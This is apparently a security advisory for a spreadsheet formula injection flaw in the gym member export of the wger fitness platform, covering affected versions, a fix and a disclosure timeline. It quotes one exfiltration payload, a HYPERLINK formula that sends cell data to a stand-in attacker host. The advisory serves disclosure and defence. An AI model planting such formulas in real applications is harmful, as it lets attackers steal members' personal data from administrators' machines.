Executive brief
wger is a fitness tracking and gym management platform used by trainers and gym administrators to manage member data and export member lists. A vulnerability in the member export feature allows any gym member to inject spreadsheet formulas (such as =HYPERLINK) into their profile name fields. When gym administrators export and open the member list in Excel or LibreOffice Calc, these formulas execute automatically, enabling attackers to steal sensitive data like member emails and phone numbers, or execute code on the admin's workstation.
Technical details
This is a CSV/TSV formula injection vulnerability (CWE-1236) in the gym member export endpoint (GET /en/gym/export/users/<gym_pk>). The vulnerable code in wger/gym/views/export.py writes first_name and last_name user profile fields directly into TSV cells without sanitizing formula-prefix characters (=, +, -, @). Any authenticated gym member—including newly self-registered users—can inject malicious formulas like =HYPERLINK("http://attacker.example/?p="&A1,"click") into their own profile via the profile edit endpoint. The formula is stored in the database and reproduced verbatim in every subsequent TSV export. When a gym admin with manage_gym permission opens the exported file in a formula-evaluating spreadsheet application, the formula executes in the admin's local context, enabling data exfiltration or, on legacy Excel with DDE enabled, arbitrary code execution. The fix is to prepend a single quote (') to any cell value beginning with a formula-trigger character before writing to the TSV.
Affected products
- wger project wger < 2.6
Timeline
- 2026-04-28: disclosed: GitHub Security Advisory GHSA-xq9m-hmp9-fw87 published
- 2026-09-06: advisory: NVD and VulnCheck advisory published